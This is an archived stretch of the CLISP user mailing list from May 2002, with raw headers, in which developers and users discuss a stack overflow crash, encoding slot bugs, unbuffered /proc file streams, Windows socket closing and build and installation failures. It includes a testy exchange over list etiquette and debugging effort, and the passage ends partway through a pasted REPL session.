(Debian)) id 178igb-00067J-00 for ; Fri, 17 May 2002 07:26:25 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by plum.csi.cam.ac.uk with esmtp (Exim 4.04) id 178igV-00021r-00; Fri, 17 May 2002 15:26:19 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 178ig8-0001TB-00; Fri, 17 May 2002 15:25:56 +0100 To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020517142555.GA5634@cam.ac.uk> References: <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> <20020424081326.GA11985@cam.ac.uk> <20020501172757.GA13192@cam.ac.uk> <20020508135103.GA17771@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020508135103.GA17771@cam.ac.uk> User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 07:27:01 2002 X-Original-Date: Fri, 17 May 2002 15:25:55 +0100 On Wed, May 08, 2002 at 02:51:03PM +0100, Christophe Rhodes wrote: > On Wed, May 08, 2002 at 09:45:27AM -0400, Sam Steingold wrote: > > Bruno just fixed the bug what was the immediate cause of your crash. > > Please do "cvs up; ./configure --with-debug --build build-dir" > > and try again. > > Thank you very much -- I shall give this a try (though probably not > until the weekend) and let you know what happens next... I've now done this... it still crashes in the same place, but now says: *** - Lisp stack overflow. RESET So I suspect I'm just going over some internal limit... is there a way to rebuild with a larger stack? I assure you it's not unbounded recursion :-) Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From samuel.steingold@verizon.net Fri May 17 08:16:32 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178jT5-0001yJ-00 for ; Fri, 17 May 2002 08:16:31 -0700 Received: (cpmta 21337 invoked from network); 17 May 2002 08:16:25 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 17 May 2002 08:16:25 -0700 X-Sent: 17 May 2002 15:16:25 GMT To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> <20020424081326.GA11985@cam.ac.uk> <20020501172757.GA13192@cam.ac.uk> <20020508135103.GA17771@cam.ac.uk> <20020517142555.GA5634@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020517142555.GA5634@cam.ac.uk> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 08:17:02 2002 X-Original-Date: 17 May 2002 11:16:24 -0400 > * In message <20020517142555.GA5634@cam.ac.uk> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > * Sent on Fri, 17 May 2002 15:25:55 +0100 > * Honorable Christophe Rhodes writes: > > On Wed, May 08, 2002 at 02:51:03PM +0100, Christophe Rhodes wrote: > > On Wed, May 08, 2002 at 09:45:27AM -0400, Sam Steingold wrote: > > > Bruno just fixed the bug what was the immediate cause of your crash. > > > Please do "cvs up; ./configure --with-debug --build build-dir" > > > and try again. > > > > Thank you very much -- I shall give this a try (though probably not > > until the weekend) and let you know what happens next... > > I've now done this... it still crashes in the same place, but now says: > > *** - Lisp stack overflow. RESET > > So I suspect I'm just going over some internal limit... is there a way > to rebuild with a larger stack? I assure you it's not unbounded > recursion :-) 1. the previous bug was isolated to a 3 line function. please isolate this new bug too. 2. did you _really_ build --with-debug? Please do. 3. are you sure that the stack overflow is the first error message? please check the output _very_ carefully. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Two wrongs don't make a right, but three rights make a left. From samuel.steingold@verizon.net Fri May 17 08:21:24 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178jXn-0002P7-00 for ; Fri, 17 May 2002 08:21:23 -0700 Received: (cpmta 23903 invoked from network); 17 May 2002 08:21:17 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 17 May 2002 08:21:17 -0700 X-Sent: 17 May 2002 15:21:17 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 57 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 08:22:03 2002 X-Original-Date: 17 May 2002 11:21:16 -0400 > * In message > * On the subject of "Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2" > * Sent on Fri, 17 May 2002 16:04:34 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >> Sadly, min_bytes_per_char still looks like the solution - if > >> the slots were correct for all encodings, which they are obviously > >> not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16). > > > >this cannot be done properly for iconv-based encodings since there is > >no way to query libiconv for this information. > >I think these are set correctly for built-in encodings. > > Sadly, having incorrectly set slots not only hinders > WITH-FOREIGN-STRING, but also breaks other parts of the system which > rely on correct information. > > Example of another bug: > > (setf custom:*foreign-encoding* (ext:make-encoding :charset "ISO-8859-1")) > *** - SYSTEM::SET-FOREIGN-ENCODING: # is not a 1:1 encoding > > This error is complete nonsense, "ISO-8859-1" is a 1:1 encoding we all > know, except that CLISP checks the misdefined min/max_bytes_per_char > slots of this external encoding and errors. > > Obviously, having correct min/max is the "better" solution. so how do we find out that some iconv encoding is 1:1? > Microsoftian advice: "don't do that. Use :charset > charset:iso-8859-1. Impnotes says that built-in encodings are > preferred". > > BTW, Impnotes says: "When an encoding is available as a built-in and > through iconv(), the built-in is preferred, because it is more > efficient and available across platforms." > > I find this confusing, "preferred" by who? > > Does that mean that CLISP automatically switches to an built-in one? I suggest that we do exactly this. it is not clear that this is TRT though: it is conceivable that someone will want to use the iconv encoding, e.g., to check it against the CLISP built-in. > Does that mean that the programmer ought to use built-in using > charset:name instead of "name"? yes, this is what is meant now. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux When we write programs that "learn", it turns out we do and they don't. From peter.wood@worldonline.dk Fri May 17 13:41:29 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178oXX-0004zG-00 for ; Fri, 17 May 2002 13:41:28 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 82BFBB5B2 for ; Fri, 17 May 2002 22:41:06 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g4HKfO500190 for clisp-list@lists.sourceforge.net; Fri, 17 May 2002 22:41:24 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020517224124.A173@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@users.sourceforge.net on Thu, May 16, 2002 at 02:18:21PM -0700 Subject: [clisp-list] what's proc for then? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 13:42:02 2002 X-Original-Date: Fri, 17 May 2002 22:41:24 +0200 On Thu, May 16, 2002 at 02:18:21PM -0700, Sam Steingold wrote: > Update of /cvsroot/clisp/clisp/doc > In directory usw-pr-cvs1:/tmp/cvs-serv14407/doc > > Modified Files: > impbody.xml > Log Message: > (make_file_stream) [UNIX, RISCOS]: file streams for the /proc filesystem > default to unbuffered (it's better not to mess with those files anyway!) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hi, Unbuffered is _probably_ better for /proc files, but there is no guarantee. A better solution would be to find out _why_ Clisp is having problems with some files in /proc when other systems running under Linux are not. (Bash, Python, Perl, Ruby, CMUCL) No - I won't go digging around with gdb. I can solve my problem faster (immediately) by just using one of the above mentioned tools. I have been getting some really bizarre results with Clisp and /proc, and frankly, its enough to make me doubt Clisp's suitability as a sysadmin tool on Linux. Writing to files under /proc does not qualify as 'messing with them' (unless you think "foo" is suitable for testing) Regards, Peter From samuel.steingold@verizon.net Fri May 17 14:04:42 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178ou0-0006zW-00 for ; Fri, 17 May 2002 14:04:40 -0700 Received: (cpmta 10196 invoked from network); 17 May 2002 14:04:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 17 May 2002 14:04:34 -0700 X-Sent: 17 May 2002 21:04:34 GMT To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] what's proc for then? References: <20020517224124.A173@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020517224124.A173@localhost.localdomain> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 14:05:02 2002 X-Original-Date: 17 May 2002 17:04:32 -0400 > * In message <20020517224124.A173@localhost.localdomain> > * On the subject of "[clisp-list] what's proc for then?" > * Sent on Fri, 17 May 2002 22:41:24 +0200 > * Honorable Peter Wood writes: > > On Thu, May 16, 2002 at 02:18:21PM -0700, Sam Steingold wrote: > > Update of /cvsroot/clisp/clisp/doc > > In directory usw-pr-cvs1:/tmp/cvs-serv14407/doc > > > > Modified Files: > > impbody.xml > > Log Message: > > (make_file_stream) [UNIX, RISCOS]: file streams for the /proc filesystem > > default to unbuffered (it's better not to mess with those files anyway!) I consider it rude that you send a follow-up to a message in to . Please follow-up to the same mailing list. > A better solution would be to find out _why_ Clisp is having problems > with some files in /proc when other systems running under Linux are > not. (Bash, Python, Perl, Ruby, CMUCL) > No - I won't go digging around with gdb. if you are not willing to help, why do you expect me to spend my time here? do others think that this attitude is reasonable? > Writing to files under /proc does not qualify as 'messing with them' > (unless you think "foo" is suitable for testing) I would have understood your frustration better if you actually _did_ something. If you do not understand log messages, you better ask what they mean. [okay, your outburst qualifies as a question just once: here by "messing" I meant doing fancy stuff with them, like buffering]. regarding your previous reports, note that (FORMAT FOO "..." ...) is not the same as (WRITE-STRING (FORMAT NIL "..." ...) FOO) wrt atomicity of write. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux A man paints with his brains and not with his hands. From haible@ilog.fr Fri May 17 17:36:54 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 178sDM-0006VQ-00 for ; Fri, 17 May 2002 17:36:52 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g4I0YAB12111 for ; Sat, 18 May 2002 02:34:10 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002051802364232007 for ; Sat, 18 May 2002 02:36:42 +0200 Received: from honolulu.ilog.fr ([172.17.4.70]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g4I0af227378; Sat, 18 May 2002 02:36:42 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id CAA04612; Sat, 18 May 2002 02:33:49 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15589.41324.836134.193565@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 17 17:37:03 2002 X-Original-Date: Sat, 18 May 2002 02:33:48 +0200 (CEST) > Now I read about another compile-method in the "gambit" docs and the > compiler is Watcom C/C++. Forget it. Don't waste your time on it. Watcom C is *crap*. There are many compilers that are not as good as GCC. But none is as crappy as Watcom C. Bruno From ampy@ich.dvo.ru Sat May 18 02:08:09 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1790C1-0000TR-00 for ; Sat, 18 May 2002 02:08:02 -0700 Received: from ppp98-AS-2.vtc.ru (ppp98-AS-2.vtc.ru [212.16.216.98]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4I97WYI003483 for ; Sat, 18 May 2002 20:07:33 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <3728133543.20020518200945@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] socket-shutdown and broken http inspect server o n win32 In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 18 02:09:02 2002 X-Original-Date: Sat, 18 May 2002 20:09:45 +1000 Hello Joerg-Cyril, Friday, May 17, 2002, 2:00:45 AM, you wrote: Joerg-Cyril> My suspicion is that the timeout until FD_CLOSE is sent Joerg-Cyril> internally by the TCP/IP stack is extremely small Joerg-Cyril> ("implementation dependent"), thus it's sent only Joerg-Cyril> slightly after closesocket() is invoked, and the remote Joerg-Cyril> client gets it too early??? Joerg-Cyril> Should we add setsockopt(linger,1 minute)? 10 minutes? Joerg-Cyril> Then, passing the :ABORT argument of CLOSE to Joerg-Cyril> low_socket_close would begin to make sense. Hold on, jedi knights are on the way (I'm reading my winsock book) ! I already found that call to WSACleanup() not exists in sources. It's already something. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From peter.wood@worldonline.dk Sat May 18 02:21:46 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1790PJ-0001D3-00 for ; Sat, 18 May 2002 02:21:45 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 5DE09B684 for ; Sat, 18 May 2002 11:21:40 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g4I9Lxw00274; Sat, 18 May 2002 11:21:59 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] what's proc for then? Message-ID: <20020518112159.A223@localhost.localdomain> References: <20020517224124.A173@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Fri, May 17, 2002 at 05:04:32PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 18 02:22:02 2002 X-Original-Date: Sat, 18 May 2002 11:21:59 +0200 Hi, On Fri, May 17, 2002 at 05:04:32PM -0400, Sam Steingold wrote: > > * In message <20020517224124.A173@localhost.localdomain> > > * On the subject of "[clisp-list] what's proc for then?" > > * Sent on Fri, 17 May 2002 22:41:24 +0200 > > * Honorable Peter Wood writes: > > > > On Thu, May 16, 2002 at 02:18:21PM -0700, Sam Steingold wrote: > > > Update of /cvsroot/clisp/clisp/doc > > > In directory usw-pr-cvs1:/tmp/cvs-serv14407/doc > > > > > > Modified Files: > > > impbody.xml > > > Log Message: > > > (make_file_stream) [UNIX, RISCOS]: file streams for the /proc filesystem > > > default to unbuffered (it's better not to mess with those files anyway!) > > I consider it rude that you send a follow-up to a message in > to . > Please follow-up to the same mailing list. > I have previously asked you not to cc mail to me as I get whatever is sent to the list, and find it annoying getting duplicates. You chose to ignore that request. I find that rude. I sent the mail in question to clisp-list because it relates to the recent thread (in clisp-list) regarding the buggy i/o under /proc. I find that perfectly reasonable. I also changed the subject of the message so that it would be obvious that it was not simply a follow-up to a post on clisp-devel. Making unbuffered the default under /proc is not neccesarily going to help this problem. Do you think it's a good idea to make changes without knowing the cause of the problem? Do you think it's a good idea to make changes to buggy functionality without first understanding what is going wrong? > > A better solution would be to find out _why_ Clisp is having problems > > with some files in /proc when other systems running under Linux are > > not. (Bash, Python, Perl, Ruby, CMUCL) > > No - I won't go digging around with gdb. > > if you are not willing to help, why do you expect me to spend my time > here? do others think that this attitude is reasonable? I am not willing to help in this specific case. Last time this bug came up I wasted many hours on it with gdb. I feel that file i/o is such a basic area that you can't expect users to do this for you. If this issue is not important to you, fine. I also have to justify the time I spend on Clisp, and many hours on a debugger (again) is losing out to 'it just works' with half a dozen other programming languages/systems. > > > Writing to files under /proc does not qualify as 'messing with them' > > (unless you think "foo" is suitable for testing) > > I would have understood your frustration better if you actually _did_ > something. Why do you think I'm frustrated? I am a bit shocked by the basic bugs which keep turning up every time I try to use Clisp other than trivially. > > If you do not understand log messages, you better ask what they mean. > [okay, your outburst qualifies as a question just once: here by > "messing" I meant doing fancy stuff with them, like buffering]. > > regarding your previous reports, note that (FORMAT FOO "..." ...) is not > the same as (WRITE-STRING (FORMAT NIL "..." ...) FOO) wrt atomicity of > write. > I did not say it was. I was deliberately experimenting with _different_ functionality in an attempt to get some idea of the shape of the problem. Please just forget my reports on this bug. I won't be bothering you with any more. Regards, Peter From sds@gnu.org Sat May 18 06:17:30 2002 Received: from pool-151-203-33-6.bos.east.verizon.net ([151.203.33.6] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17945R-0005V2-00 for ; Sat, 18 May 2002 06:17:30 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g4IDHaw11261 for ; Sat, 18 May 2002 09:17:37 -0400 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] what's proc for then? References: <20020517224124.A173@localhost.localdomain> <20020518112159.A223@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020518112159.A223@localhost.localdomain> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 18 06:18:02 2002 X-Original-Date: 18 May 2002 09:17:36 -0400 > * In message <20020518112159.A223@localhost.localdomain> > * On the subject of "Re: [clisp-list] what's proc for then?" > * Sent on Sat, 18 May 2002 11:21:59 +0200 > * Honorable Peter Wood writes: > > I have previously asked you not to cc mail to me as I get whatever is > sent to the list, and find it annoying getting duplicates. You chose > to ignore that request. I find that rude. I cannot keep track of everyone's preferences. if this were important to you, you would have set the header Mail-Copies-To: never > Making unbuffered the default under /proc is not neccesarily going to > help this problem. Do you think it's a good idea to make changes > without knowing the cause of the problem? Do you think it's a good > idea to make changes to buggy functionality without first > understanding what is going wrong? I do not feel obligated to justify my decisions to you on this list. If you were asking serious questions you would have been asking them on the right mailing list. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux A clear conscience is usually the sign of a bad memory. From don-sourceforge@isis.cs3-inc.com Sun May 19 01:08:14 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179Lji-00016P-00 for ; Sun, 19 May 2002 01:08:14 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g4J7x7s31657; Sun, 19 May 2002 00:59:07 -0700 Message-Id: <200205190759.g4J7x7s31657@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: [clisp-list] what's proc for then? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 19 01:09:01 2002 X-Original-Date: Sun, 19 May 2002 00:59:07 -0700 I've also had trouble using clisp with /proc files, but I figured that was cause of non-standard properties in the implementation of the particular proc files. Since there's not much that can be guaranteed about proc files it's hard to see how a single interface can be expected to work on all of them. Unbuffered is _probably_ better for /proc files, but there is no guarantee. As I recall, when I tried unbuffered with my particular proc files things broke even worse. I have been getting some really bizarre results with Clisp and /proc, and frankly, its enough to make me doubt Clisp's suitability as a sysadmin tool on Linux. Since the IO I needed could be done with cat > and echo > I just have clisp use a shell to do those things. I consider this to be an acceptable solution, though not ideal. It's still worth while to use clisp to do everything else that has to figure out what IO to do by these other means. I have no idea whether my proc files would work with Python, Perl, etc. From vs1100@terra.es Sun May 19 09:43:53 2002 Received: from mailhost2.teleline.es ([195.235.113.141] helo=tsmtp8.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179Tmg-0003e0-00 for ; Sun, 19 May 2002 09:43:50 -0700 Received: from karsten.terra.es ([62.36.158.156]) by tsmtp8.mail.isp (Netscape Messaging Server 4.15 tsmtp8 Mar 14 2002 21:29:48) with ESMTP id GWDAEN00.H6T for ; Sun, 19 May 2002 18:42:23 +0200 Message-Id: <5.1.0.14.0.20020519183619.00a11790@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Should clisp 2.28 work with gcc 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 19 09:44:03 2002 X-Original-Date: Sun, 19 May 2002 18:43:15 +0200 Hello, I tried to compile clisp 2.28 (not current cvs) both on cygwin and redhat 7.1. In both cases building interpreted.mem fails with a segfault. Any ideas? Karsten From jimka@rdrop.com Sun May 19 14:52:06 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 179Yaz-0005TB-00 for ; Sun, 19 May 2002 14:52:06 -0700 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtp (Exim 4.04) id 179Yav-00074W-00; Sun, 19 May 2002 23:52:01 +0200 Received: from a3d56.pppool.de ([213.6.61.86] helo=rdrop.com) by mx2.freenet.de with asmtp (ID jimka@freenet.de) (Exim 3.36 #1) id 179Yau-0003iM-00; Sun, 19 May 2002 23:52:01 +0200 Message-ID: <3CE801B7.EB23351F@rdrop.com> From: Jim Newton X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.9-31 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: multipart/mixed; boundary="------------C30BADA17F0EC397842596E1" Subject: [clisp-list] #P"...config.lisp" does not exist Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 19 14:53:01 2002 X-Original-Date: Sun, 19 May 2002 21:49:11 +0200 This is a multi-part message in MIME format. --------------C30BADA17F0EC397842596E1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit hi, the installation in the README file (which i've attached) are confusing, and do not seem to work as advertised. here is what happens when i try to obey the instructions. am i doing something wrong? [jimka@localhost src]# base/lisp.run -M base/lispinit.mem i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 [1]> (compile-file "src/config.lisp") *** - OPEN: file #P"/home/jimka/src/clisp-2.28/src/src/config.lisp" does not exist 1. Break [2]> (compile-file "config.lisp") Compiling file /home/jimka/src/clisp-2.28/src/config.lisp ... ** - Continuable Error INTERN("FILE"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 2. Break EXT[3]> continue Compilation of file /home/jimka/src/clisp-2.28/src/config.lisp is finished. 0 errors, 0 warnings #P"/home/jimka/src/clisp-2.28/src/config.fas" ; NIL ; NIL 1. Break [2]> (load "src/config.fas") *** - A file with name src/config.fas does not exist 2. Break [4]> (load "/home/jimka/src/clisp-2.28/src/config.fas") ;; Loading file /home/jimka/src/clisp-2.28/src/config.fas ... ** - Continuable Error DEFUN/DEFMACRO(SHORT-SITE-NAME): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 3. Break EXT[5]> continue ** - Continuable Error DEFUN/DEFMACRO(LONG-SITE-NAME): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 3. Break EXT[6]> continue ** - Continuable Error 